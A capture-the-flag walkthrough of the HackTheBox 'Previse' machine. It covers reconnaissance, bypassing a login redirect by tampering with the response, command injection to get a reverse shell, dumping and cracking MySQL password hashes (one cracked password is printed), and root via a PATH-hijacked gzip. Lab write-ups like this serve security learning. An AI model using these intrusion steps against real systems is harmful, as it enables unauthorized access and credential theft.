Previse CTF – HTB

So this CTF is categorized as easy, but I would actually say that getting foothold was pretty hard. Once inside, its pretty straight forward enumeration and lateral movement if you’ve done enough information gathering.

Anyway, as always I like to start with an nmap scan to see what we’re working with.

# Nmap 7.92 scan initiated Sun Aug 29 19:30:42 2021 as: nmap -sC -sV -oN nmap.result
Nmap scan report for
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (conn-refused)
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
| http-title: Previse Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Sun Aug 29 19:30:50 2021 -- 1 IP address (1 host up) scanned in 8.53 seconds

So port 80 and 22 is open. Navigating to the webserver, we’re prompted with a login page.

From here, I’ll look for hidde directories. I’ve normally used gobuster for this, but I found a good tool called feroxbuster which is pretty awesome. It allows us to choose recursive depth.

└──╼ #./feroxbuster --url --depth 0 --wordlist /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x php  

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.2
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-1.0.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.2
 💲  Extensions            │ [php]
 🔃  Recursion Depth       │ INFINITE
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Cancel Menu™
200       31l       60w     1248c
200        5l       14w      217c
302       71l      164w     2801c
302        0l        0w        0c
200       20l       64w      980c
302      148l      371w     7240c
200       53l      138w     2224c
200        0l        0w        0c
302       93l      238w     3994c
302       74l      176w     2970c
301        9l       28w      310c
301        9l       28w      309c
302        0l        0w        0c
302       71l      164w     2801c
403        9l       28w      277c
302        0l        0w        0c
[####################] - 4m    850164/850164  0s      found:16      errors:0      
[####################] - 3m    283388/283388  1270/s
[####################] - 3m    283388/283388  1257/s
[####################] - 3m    283388/283388  1259/s

So alot of intereseting directories. I’ll admit, I first tried to see if there was en local file inclusion vulnerability in config.php but that was a dead end. Figured that out after a couple of hours.

Anyway, so turning to my favorite web application vulnerability tool, burpsuite, I’ll intercept some request and see what I find. To spare you of all the time I’ve spent enumerating, we’ll jump to the answers. Navigating to /nav.php there is an option for creating a user. Clicking that link redirect you back to the login page. In reality, there is a bug where you can change the HTTP status code to 200 OK and get the page.

So what we’ve done is intercepting the response, changing the HTTP status code from 302 to 200 and we’re presented with a page that allows us to create an account.

Inside the website we are presented with this:

Enumerating the website we find a file called SITEBACKUP.ZIP, which we downloaded.

The intereseting take from all those files was the config.php, the file I tried to use LFI on which didnt work. Inside that file is the MySQL credentials.

We’ll save that for later.

Next, we’ll try to get a reverse shell. In website, we’re able to upload files. So of course I try to upload a php reverse shell, but as it turns out, there is no way to execute it on the website so that was a dead end. To get a reverse shell, was very tricky. Using burpsuite, we have to intercept REQUEST LOG DATA and add a reverse shell in the request we send to the website.

Send this POST request, while netcat listens on port 4444 gives us a reverse shell.

We stabilize the reverse shell with python, so we can create an interactive shell to be able to talk to MySQL. Having a non-interactive shell, its not possbile to interact with MySQL.

python -c 'import pty;pty.spawn("/bin/bash")'

Logging into MySQL we can extract the account info with password hash with salt for user m4lwhere. The user.txt file is in m4lwheres home directory, which is why we will have to crack his password to open the user.txt file.

mysql> select * from accounts;
select * from accounts;
| id | username | password                           | created_at          |
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | Test99   | $1$🧂llol$yttO4pjhP8x08DQkCHLHA0 | 2021-09-06 15:56:24 |
|  3 | bouba    | $1$🧂llol$ohg/X7LWFOCE.xKgo2oeF. | 2021-09-06 15:57:30 |
|  4 | deneme   | $1$🧂llol$eBQMPwAvz9j9ZpK62qDI// | 2021-09-06 16:07:46 |
|  5 | test1234 | $1$🧂llol$aLZZSO/HJpNblx60oCbyl0 | 2021-09-06 17:50:35 |
|  6 | Antoine  | $1$🧂llol$V3rOtBmAyaOluecPqAdJT0 | 2021-09-06 19:47:31 |
|  7 | admin    | $1$🧂llol$DJ6ZVzF0zBGjTIV/GTvOf/ | 2021-09-06 19:54:37 |
7 rows in set (0.00 sec)

I tried using hashcat at first, but didnt get it to work, so I turned to john the ripper. First we have to identify what type of hash this is. From the hashcat example hash we find out this is is a md5crypt hash. Using john –format=list we can list allf of johns hash formats.

I spent some time here trying out different hashes, but the correct hash is md5crypt-long. Running that against rockyou.txt will crack the hash and we’ll get the password for m4lwhere.

└──╼ #john --format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt pass
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:09 1.49% (ETA: 22:52:23) 0g/s 27979p/s 27979c/s 27979C/s 821987..820509
0g 0:00:00:19 3.21% (ETA: 22:52:12) 0g/s 28027p/s 28027c/s 28027C/s attucks..atletica
0g 0:00:00:22 3.71% (ETA: 22:52:14) 0g/s 27918p/s 27918c/s 27918C/s mithrill..mitch4eva
0g 0:00:01:45 16.78% (ETA: 22:52:46) 0g/s 25006p/s 25006c/s 25006C/s yas4rva..yas1994
0g 0:00:03:34 35.51% (ETA: 22:52:23) 0g/s 24459p/s 24459c/s 24459C/s nabil8493..nabil0925
ilovecody112235! (?)
1g 0:00:05:01 DONE (2021-09-06 22:47) 0.003317g/s 24591p/s 24591c/s 24591C/s ilovecodydean..ilovecody..
Use the "--show" option to display all of the cracked passwords reliably
Session completed

So from here we can either SSH in to m4lwhere or just su – m4lwhere, and get the user.txt.

Privilege escalation

So first thing first, we’ll look at what kind of sudo commands this user can run.

m4lwhere@previse:~$ sudo -l 
sudo -l
[sudo] password for m4lwhere: 

User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/

We can run a script called as root. Interesting. Cat’ing that file we can see that its a script for zipping logs and storing them sorted by date.

m4lwhere@previse:/opt/scripts$ cat

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

So what we’re going to do to get root is exploiting PATH variable. That means when we execute the script, it will run our own gzip custom executable.

1. cd to /tmp 
2. echo "/bin/bash -i" > gzip 
3. chmod +x gzip 
4. export PATH=/tmp:$PATH

Looking at m4lwheres $PATH we can see that our /tmp is added.

m4lwhere@previse:/tmp$ echo $PATH       
echo $PATH

Now, running the script as sudo again will give us a root shell.

Ok for some reason, I couldnt output any commands. I dont know if I did anything wrong, or what, but I know that I was root.

root@previse:/tmp# whoami

root@previse:/root# cat root.txt

In order to read the root.txt I just started a simple HTTP server on the target, and downloaded it on my attacking machine. Probably not the right way, but it worked nonetheless.

All in all, pretty fun box. Even though it was hard to get foothold and the problem with root user not outputting commands.

Similar Posts